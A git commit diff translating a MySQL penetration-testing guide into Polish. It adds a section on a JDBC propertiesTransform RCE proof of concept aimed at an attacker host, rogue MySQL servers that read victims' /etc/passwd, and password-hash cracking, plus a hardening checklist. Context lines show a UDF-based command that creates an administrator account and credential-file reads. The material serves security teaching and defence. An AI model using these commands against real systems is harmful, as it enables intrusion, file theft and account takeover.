Translated ['src/network-services-pentesting/pentesting-mysql.md'] to pl

This commit is contained in:
Translator 2025-08-14 04:40:34 +00:00
parent 1165352586
commit 80b97d1735

View File

@ -109,7 +109,7 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny haki konfiguracyjne)
#### INTO OUTFILE → Python `.pth` RCE (specyficzne dla witryny konfiguracje)
Wykorzystując klasyczny prymityw `INTO OUTFILE`, możliwe jest uzyskanie *dowolnego wykonania kodu* na celach, które później uruchamiają skrypty **Python**.
@ -128,7 +128,7 @@ Przykład tworzenia pliku za pomocą zapytania **UNION** (znaki spacji zastąpio
Ważne ograniczenia i obejścia:
* `INTO OUTFILE` **nie może nadpisywać** istniejących plików; wybierz nową nazwę pliku.
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek bezwzględnych.
* Ścieżka do pliku jest rozwiązywana **względem CWD MySQL**, więc dodanie `../../` pomaga skrócić ścieżkę i obejść ograniczenia dotyczące ścieżek absolutnych.
* Jeśli dane wejściowe atakującego są wyciągane za pomocą `%128s` (lub podobnego), każda spacja skróci ładunek; użyj sekwencji komentarzy MySQL `/**/` lub `/*!*/`, aby zastąpić spacje.
* Użytkownik MySQL wykonujący zapytanie potrzebuje uprawnienia `FILE`, ale w wielu urządzeniach (np. FortiWeb) usługa działa jako **root**, co daje dostęp do zapisu niemal wszędzie.
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL dowolne odczytywanie pliku przez klienta
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\
W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o jego odczyt** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytywać dowolne pliki.**\
Zauważ, że takie jest zachowanie przy użyciu:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -251,9 +251,9 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Wyodrębnianie poświadczeń MySQL z plików
### Wyciąganie poświadczeń MySQL z plików
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formacie tekstowym** użytkownika **debian-sys-maint**
W pliku _/etc/mysql/debian.cnf_ można znaleźć **hasło w formie tekstu jawnego** użytkownika **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Najważniejsze wydarzenia (nowe)
### JDBC `propertiesTransform` deserializacja (CVE-2023-21971)
Od Connector/J <= 8.0.32 atakujący, który może wpływać na **JDBC URL** (na przykład w oprogramowaniu firm trzecich, które prosi o ciąg połączenia), może zażądać załadowania dowolnych klas po stronie *klienta* za pomocą parametru `propertiesTransform`. Jeśli gadżet obecny na ścieżce klas jest możliwy do załadowania, skutkuje to **zdalnym wykonaniem kodu w kontekście klienta JDBC** (przed uwierzytelnieniem, ponieważ nie są wymagane żadne ważne poświadczenia). Minimalny PoC wygląda następująco:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Uruchomienie `Evil.class` może być tak proste, jak umieszczenie go w class-path aplikacji z luką lub pozwolenie, aby złośliwy serwer MySQL wysłał złośliwy zserializowany obiekt. Problem został naprawiony w Connector/J 8.0.33 zaktualizuj sterownik lub wyraźnie ustaw `propertiesTransform` na liście dozwolonej.
(Zobacz artykuł Snyk po szczegóły)
### Ataki z użyciem złośliwego / fałszywego serwera MySQL przeciwko klientom JDBC
Kilka narzędzi open-source implementuje *częściowy* protokół MySQL w celu ataku na klientów JDBC, którzy łączą się na zewnątrz:
* **mysql-fake-server** (Java, obsługuje exploity odczytu plików i deserializacji)
* **rogue_mysql_server** (Python, podobne możliwości)
Typowe ścieżki ataku:
1. Aplikacja ofiary ładuje `mysql-connector-j` z `allowLoadLocalInfile=true` lub `autoDeserialize=true`.
2. Atakujący kontroluje DNS / wpis hosta, aby nazwa hosta bazy danych rozwiązywała się na maszynę pod ich kontrolą.
3. Złośliwy serwer odpowiada stworzonym pakietem, który wyzwala albo `LOCAL INFILE` dowolny odczyt pliku, albo deserializację Java → RCE.
Przykład jednego polecenia do uruchomienia fałszywego serwera (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Następnie skieruj aplikację ofiary na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i odczytaj `/etc/passwd`, kodując nazwę pliku jako base64 w polu *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Łamanie hashy `caching_sha2_password`
MySQL ≥ 8.0 przechowuje hashe haseł jako **`$mysql-sha2$`** (SHA-256). Zarówno Hashcat (tryb **21100**), jak i John-the-Ripper (`--format=mysql-sha2`) wspierają łamanie offline od 2023 roku. Zrzutuj kolumnę `authentication_string` i podaj ją bezpośrednio:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Lista kontrolna wzmacniania (2025)
• Ustaw **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`**, aby zablokować większość prymitywów do odczytu/zapisu plików.
• Usuń uprawnienie **`FILE`** z kont aplikacji.
• W Connector/J ustaw `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (puste).
• Wyłącz nieużywane wtyczki uwierzytelniające i **wymagaj TLS** (`require_secure_transport = ON`).
• Monitoruj polecenia `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` oraz nagłe polecenia `SET GLOBAL`.
---
## Odniesienia
- [Pre-auth SQLi do RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}